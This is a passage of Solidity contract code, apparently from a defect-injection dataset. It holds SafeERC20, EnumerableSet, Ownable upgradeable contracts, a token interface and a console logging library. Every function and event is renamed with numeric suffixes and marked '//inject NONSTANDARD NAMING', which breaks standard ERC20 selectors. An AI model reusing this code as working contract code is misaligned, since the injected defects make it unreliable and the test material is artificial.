uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE946(address(this), spender).ADD659(value); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE546(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE946(address(this), spender).SUB877(value, "SafeERC20: decreased allowance below zero"); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance)); } function _CALLOPTIONALRETURN137(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).ISCONTRACT107(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } function _ADD286(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING if (!_CONTAINS837(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } function _REMOVE863(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } function _CONTAINS837(Set storage set, bytes32 value) private view returns (bool) { //inject NONSTANDARD NAMING return set._indexes[value] != 0; } function _LENGTH639(Set storage set) private view returns (uint256) { //inject NONSTANDARD NAMING return set._values.length; } function _AT524(Set storage set, uint256 index) private view returns (bytes32) { //inject NONSTANDARD NAMING require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } function ADD659(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING return _ADD286(set._inner, bytes32(uint256(value))); } function REMOVE976(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING return _REMOVE863(set._inner, bytes32(uint256(value))); } function CONTAINS600(AddressSet storage set, address value) internal view returns (bool) { //inject NONSTANDARD NAMING return _CONTAINS837(set._inner, bytes32(uint256(value))); } function LENGTH659(AddressSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING return _LENGTH639(set._inner); } function AT450(AddressSet storage set, uint256 index) internal view returns (address) { //inject NONSTANDARD NAMING return address(uint256(_AT524(set._inner, index))); } // UintSet struct UintSet { Set _inner; } function ADD659(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING return _ADD286(set._inner, bytes32(value)); } function REMOVE976(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING return _REMOVE863(set._inner, bytes32(value)); } function CONTAINS600(UintSet storage set, uint256 value) internal view returns (bool) { //inject NONSTANDARD NAMING return _CONTAINS837(set._inner, bytes32(value)); } function LENGTH659(UintSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING return _LENGTH639(set._inner); } function AT450(UintSet storage set, uint256 index) internal view returns (uint256) { //inject NONSTANDARD NAMING return uint256(_AT524(set._inner, index)); } } contract Initializable { bool private initialized; bool private initializing; modifier INITIALIZER933() { //inject NONSTANDARD NAMING require(initializing || ISCONSTRUCTOR543() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } function ISCONSTRUCTOR543() private view returns (bool) { //inject NONSTANDARD NAMING // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __CONTEXT_INIT408() internal INITIALIZER933 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED28(); } function __CONTEXT_INIT_UNCHAINED28() internal INITIALIZER933 { //inject NONSTANDARD NAMING } function _MSGSENDER195() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA356() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OWNERSHIPTRANSFERRED637(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING function __OWNABLE_INIT503() internal INITIALIZER933 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED28(); __OWNABLE_INIT_UNCHAINED19(); } function __OWNABLE_INIT_UNCHAINED19() internal INITIALIZER933 { //inject NONSTANDARD NAMING address msgSender = _MSGSENDER195(); _owner = msgSender; emit OWNERSHIPTRANSFERRED637(address(0), msgSender); } function OWNER330() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER691() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER195(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP236() public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED637(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP889(address newOwner) public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED637(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } interface INBUNIERC20 { function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING event LOG470(string log); //inject NONSTANDARD NAMING } library console { address constant console_address243 = address(0x000000000000000000636F6e736F6c652e6c6f67); //inject NONSTANDARD NAMING function _SENDLOGPAYLOAD647(bytes memory payload) private view { //inject NONSTANDARD NAMING uint256 payloadLength = payload.length; address consoleAddress = console_address243; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function LOG714() internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log()")); } function LOGINT241(int p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(int)", p0)); } function LOGUINT442(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0)); } function LOGSTRING55(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0)); } function LOGBOOL721(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0)); } function LOGADDRESS713(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0)); } function LOGBYTES271(bytes memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes)", p0)); } function LOGBYTE944(byte p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(byte)", p0)); } function LOGBYTES1701(bytes1 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes1)", p0)); } function LOGBYTES2946(bytes2 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes2)", p0)); } function LOGBYTES314(bytes3 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes3)", p0)); } function LOGBYTES4424(bytes4 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes4)", p0)); } function LOGBYTES566(bytes5 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes5)", p0)); } function LOGBYTES6220(bytes6 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes6)", p0)); } function LOGBYTES7640(bytes7 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes7)", p0)); } function LOGBYTES8995(bytes8 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes8)", p0)); } function LOGBYTES9199(bytes9 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes9)", p0)); } function LOGBYTES10336(bytes10 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes10)", p0)); } function LOGBYTES11706(bytes11 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes11)", p0)); } function LOGBYTES12632(bytes12 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes12)", p0)); } function LOGBYTES13554(bytes13 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes13)", p0)); } function LOGBYTES14593(bytes14 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes14)", p0)); } function LOGBYTES15340(bytes15 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes15)", p0)); } function LOGBYTES16538(bytes16 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes16)", p0)); } function LOGBYTES17699(bytes17 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes17)", p0)); } function LOGBYTES18607(bytes18 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes18)", p0)); } function LOGBYTES19918(bytes19 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes19)", p0)); } function LOGBYTES20388(bytes20 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes20)", p0)); } function LOGBYTES21100(bytes21 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes21)", p0)); } function LOGBYTES22420(bytes22 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes22)", p0)); } function LOGBYTES238(bytes23 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes23)", p0)); } function LOGBYTES24936(bytes24 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes24)", p0)); } function LOGBYTES25750(bytes25 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes25)", p0)); } function LOGBYTES26888(bytes26 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes26)", p0)); } function LOGBYTES2749(bytes27 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes27)", p0)); } function LOGBYTES28446(bytes28 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes28)", p0)); } function LOGBYTES29383(bytes29 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes29)", p0)); } function LOGBYTES30451(bytes30 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes30)", p0)); } function LOGBYTES31456(bytes31 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes31)", p0)); } function LOGBYTES32174(bytes32 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes32)", p0)); } function LOG714(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0)); } function LOG714(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0)); } function LOG714(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0)); } function LOG714(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0)); } function LOG714(uint p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function LOG714(uint p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function LOG714(uint p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function LOG714(uint p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function LOG714(string memory p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function LOG714(string memory p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string)", p0, p1)); } function LOG714(string memory p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function LOG714(string memory p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address)", p0, p1)); } function LOG714(bool p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function LOG714(bool p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function LOG714(bool p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function LOG714(bool p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function LOG714(address p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function LOG714(address p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string)", p0, p1)); } function LOG714(address p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function LOG714(address p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address)", p0, p1)); } function LOG714(uint p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function LOG714(uint p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function LOG714(uint p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function LOG714(uint p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function LOG714(uint p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function LOG714(uint p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function LOG714(uint p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function LOG714(uint p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function LOG714(uint p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function LOG714(uint p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function LOG714(uint p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function LOG714(uint p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function LOG714(string memory p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function LOG714(string memory p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function LOG714(string memory p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function LOG714(string memory p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function LOG714(bool p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function LOG714(bool p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function LOG714(bool p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function LOG714(bool p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function LOG714(bool p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function LOG714(bool p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function LOG714(bool p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function LOG714(bool p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function LOG714(bool p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function LOG714(bool p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function LOG714(bool p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function LOG714(bool p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function LOG714(address p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function LOG714(address p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function LOG714(address p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function LOG714(address p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function LOG714(address p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function LOG714(address p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function LOG714(address p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function LOG714(address p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function LOG714(address p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function LOG714(address p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function LOG714(address p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function LOG714(address p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function LOG714(address p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function LOG714(address p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function LOG714(address p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function LOG714(address p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function LOG714(uint p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, 